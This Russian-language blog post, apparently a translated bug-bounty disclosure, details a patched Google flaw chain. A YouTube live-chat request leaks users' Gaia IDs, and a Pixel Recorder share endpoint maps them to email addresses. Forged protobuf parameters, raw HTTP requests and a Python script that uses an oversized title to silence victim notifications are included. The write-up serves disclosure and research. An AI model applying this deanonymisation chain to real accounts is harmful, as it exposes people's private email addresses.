# Ликаем электронную почту любого пользователя на Youtube **Published by:** [Cybred](https://paragraph.com/@cybred/) **Published on:** 2025-02-15 **URL:** https://paragraph.com/@cybred/youtube-gaya-bug-bounty ## Content Какое-то время назад, исследуя Google, я наткнулся на документацию по Internal People API (Staging) и обнаружил кое-что любопытное. "BlockedTarget": { "id": "BlockedTarget", "description": "The target of a user-to-user block, used to specify creation/deletion of blocks.", "type": "object", "properties": { "profileId": { "description": "Required. The obfuscated Gaia ID of the user targeted by the block.", "type": "string" }, "fallbackName": { "description": "Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.", "type": "string" } } }, Здесь говорится о том, что в API есть метод BlockedTarget, который используется для блокировки пользователей в Google и оперирует двумя сущностями: profileId - Gaia ID (идентификатор учетной записи Google) fallbackName - display name учетной записи заблокированного пользователя Все казалось вполне логичным, пока я не вспомнил о тексте на странице поддержки: То есть, если заблокировать кого-то на YouTube, можно раскрыть его идентификатор учетной записи Google? Я решил проверить. Зашел на случайную трансляцию, заблокировал пользователя — и действительно, он появился в списке заблокированных на myaccount.google.com/blocklist. Имя пользователя было установлено как название канала — Mega Prime, а идентификатор профиля оказался его Gaia ID — 107183641464576740691. Это показалось мне довольно странным, ведь YouTube не должен раскрывать связанную учетную запись Google. Ранее уже всплывали баги, которые позволяли получить адрес электронной почты по таким данным, и я был уверен, что где-то в старом, малоизвестном продукте Google все еще существует способ сопоставить Gaia ID с электронной почтой пользователя. Масштабирование до 4 миллиардов YouTube-каналов Итак, мы можем раскрыть Gaia ID любого пользователя из чата трансляции. Но можно ли эскалировать это на все YouTube-каналы? Как оказалось, при нажатии на три точки для открытия контекстного меню отправляется запрос: Запрос ">POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2 Host: www.youtube.com Cookie: Ответ HTTP/2 200 OK Content-Type: application/json; charset=UTF-8 Server: scaffolding on HTTPServer2 { ... "serviceEndpoint": { ... "commandMetadata": { "webCommandMetadata": { "sendPost": true, "apiUrl": "/youtubei/v1/live_chat/moderate" } }, "moderateLiveChatEndpoint": { "params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" } } ... } params из ответа — закодированный в base64 protobuf, который активно используется в экосистеме Google. Если попробовать декодировать параметр moderateLiveChatEndpoint, можно получить следующее $ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw 1 { 5 { 1: "UChs0pSaEoNLV4mevBFGaoKA" 2: "36YnV9STBqc" } } 10: 0 11: 1 12 { 1: "113907466537670370590" 2: "SE-aYOb-uCg059qHRis_ow" } 14: 0 В protobuf зашит Gaia ID пользователя, которого мы хотим заблокировать, и чтобы его получить, даже не надо отправлять запрос на саму блокировку. Давайте также рассмотрим параметры запроса get_item_context_menu: $ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw 3 { 5 { 1: "UChs0pSaEoNLV4mevBFGaoKA" 2: "36YnV9STBqc" } } 6 { 1: "UCSE-aYOb-uCg059qHRis_ow" } Похоже, что он содержит только идентификатор канала, который мы блокируем, ID видео с трансляцией и ID автора трансляции. Попробуем подделать параметры запроса, используя ID канала нашей цели. Для этого теста мы выберем Channel, так как такие каналы создаются автоматически и гарантированно не имеют сообщений в чате. " | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64 R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=">$ echo -n "" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64 R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo= Тестируем на /youtubei/v1/live_chat/get_item_context_menu: ... "moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="} ... echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw 1 { 5 { 1: "UChs0pSaEoNLV4mevBFGaoKA" 2: "36YnV9STBqc" } } 10: 0 11: 1 12 { 1: "103261974221829892167" 2: "D2LZAT1j1DyVXq2R2BdusQ" } 14: 0 Мы можем раскрыть Gaia ID канала — 103261974221829892167. Отсутствующая часть головоломки: Pixel Recorder Я рассказал своему другу Нейтану о утечке Gaia ID на YouTube, и мы начали искать старые забытые продукты Google, так как они, вероятно, содержат баги или логические ошибки, которые позволяют связать Gaia ID с адресом электронной почты. Одним из таких продуктов оказался Pixel Recorder. Нейтан сделал тестовую запись на своем телефоне Pixel и синхронизировал ее с его Google-аккаунтом, чтобы мы могли пользоваться онлайн функциями Google Recorder. Когда мы попытались поделиться записью c тестовым email, отправился следующий запрос Запрос Content-Length: 80 Authorization: X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro Content-Type: application/json+protobuf Referer: https://recorder.google.com/ ["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]">POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2 Host: pixelrecorder-pa.clients6.google.com Cookie: Content-Length: 80 Authorization: X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro Content-Type: application/json+protobuf Referer: https://recorder.google.com/ ["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]] Ответ HTTP/2 200 OK Content-Type: application/json+protobuf; charset=UTF-8 Server: ESF Content-Length: 138 ["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]] Похоже, что эндпоинт принимает Gaia ID и... возвращает email? Мы протестировали это с Gaia ID 107183641464576740691, который мы получили ранее, заблокировав пользователя на YouTube, и это сработало: HTTP/2 200 OK Content-Type: application/json+protobuf; charset=UTF-8 Server: ESF Content-Length: 138 ["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"redacted@gmail.com"],[null,2,"vrptest2@gmail.com"]]] Небольшая проблема: предотвращение уведомлений цели Похоже, что каждый раз, когда мы делимся записью с жертвой, она получает email, который выглядит так: Это действительно плохо, и это значительно снизило бы эффект от уязвимости. В всплывающем окне для обмена не было никакой опции для отключения уведомлений. Я попытался раскрыть полный запрос proto с помощью моего инструмента req2proto, но ничего, что касалось бы отключения уведомления по email, не было. syntax = "proto3"; package java.com.google.wireless.android.pixel.recorder.protos; import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto"; message WriteShareListRequest { string recording_id = 1; string delete_obfuscated_gaia_ids = 2; ShareUser update_shared_users = 3; string sharing_message = 4; } message ShareUser { string obfuscated_gaia_id = 1; java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2; string email = 3; } Даже попытка одновременно добавить и удалить пользователя не сработала — email все равно отправлялся. Но тут мы поняли: если в теме письма записывается название нашей записи, возможно, система не сможет отправить email, если оно будет слишком длинным. Мы быстро написали скрипт на Python, чтобы проверить это: import requests BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/" headers = { "Host": "pixelrecorder-pa.clients6.google.com", "Content-Type": "application/json+protobuf", "X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro", "Origin": "https://recorder.google.com" } def get_recording_uuid(share_id: str): payload = f"[\"{share_id}\"]" response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload) if response.status_code != 200: print("unknown error when getting recording uuid: ", response.json()) exit(1) try: response = response.json() except: print('can\'t parse response when getting recording uuid: ', response.text) exit(1) return response["recording"]["uuid"] def update_recording_title(share_id: str): x = 'X'*2500000 # 2.5 million char long title name! payload = f'["{share_id}","{x}"]' response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload) if response.status_code != 200: print("unknown error when updating recording title: ", response.json()) exit(1) def main(): share_id = input("Enter share ID: ") headers["Cookie"] = input("Cookie header:" ) headers["Authorization"] = input("Authorization header: ") uuid = get_recording_uuid(share_id) print("UUID:", uuid) update_recording_title(uuid) print("Updated recording title successfully.") if __name__ == "__main__": main() ... и название записи теперь состояло из 2,5 миллиона символов! На серверной стороне не было ограничений по длине. Попробовав поделиться записью с другим тестовым пользователем... бинго! Никакого уведомления по email. Собираем все воедино У нас фактически есть вся цепочка атаки: Раскрыть Gaia ID YouTube-канала через эндпоинт /get_item_context_menu. Поделиться записью из Pixel Recorder, используя огромное название, чтобы преобразовать Gaia ID в email. Удалить цель из записи Pixel Recorder (очистка). Вот доказательство концепции (POC) в действии: Хронология 15/09/24 — Отчет отправлен Google 16/09/24 — Google принял отчет на рассмотрение 16/09/24 — 🎉 Отличная находка! 03/10/24 — Google отмечает это как дубликат уже отслеживаемого бага 03/10/24 — Пишем Google, что они не признали Gaia ID на Email в Pixel Recorder как уязвимость 05/11/24 — Google присуждает $3,133. Обоснование: вероятность эксплуатации — средняя. Проблема квалифицирована как методология злоупотребления с высоким воздействием. 03/12/24 — Команда продукта отправила отчет обратно для дополнительного рассмотрения вознаграждения, координирует раскрытие на 03/02/2025 12/12/24 — Google присуждает дополнительные $7,500. Обоснование: вероятность эксплуатации — высокая. Проблема квалифицирована как методология злоупотребления с высоким воздействием. Применено одно снижение от базовой суммы из-за сложности требуемой цепочки атак. 29/01/25 — Вендор запрашивает продление раскрытия до 12/02/2025 09/02/25 — Подтверждаем, что обе части эксплуатации были исправлены (T+147 дней с момента раскрытия) 12/02/25 — Отчет раскрыт Оригинал статьи на английском языке. Переведено и адаптировано специально для @cybred. ## Publication Information - [Cybred](https://paragraph.com/@cybred/): Publication homepage - [All Posts](https://paragraph.com/@cybred/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@cybred): Subscribe to updates ## Optional - [Collect as NFT](https://paragraph.com/@cybred/youtube-gaya-bug-bounty): Support the author by collecting this post - [View Collectors](https://paragraph.com/@cybred/youtube-gaya-bug-bounty/collectors): See who has collected this post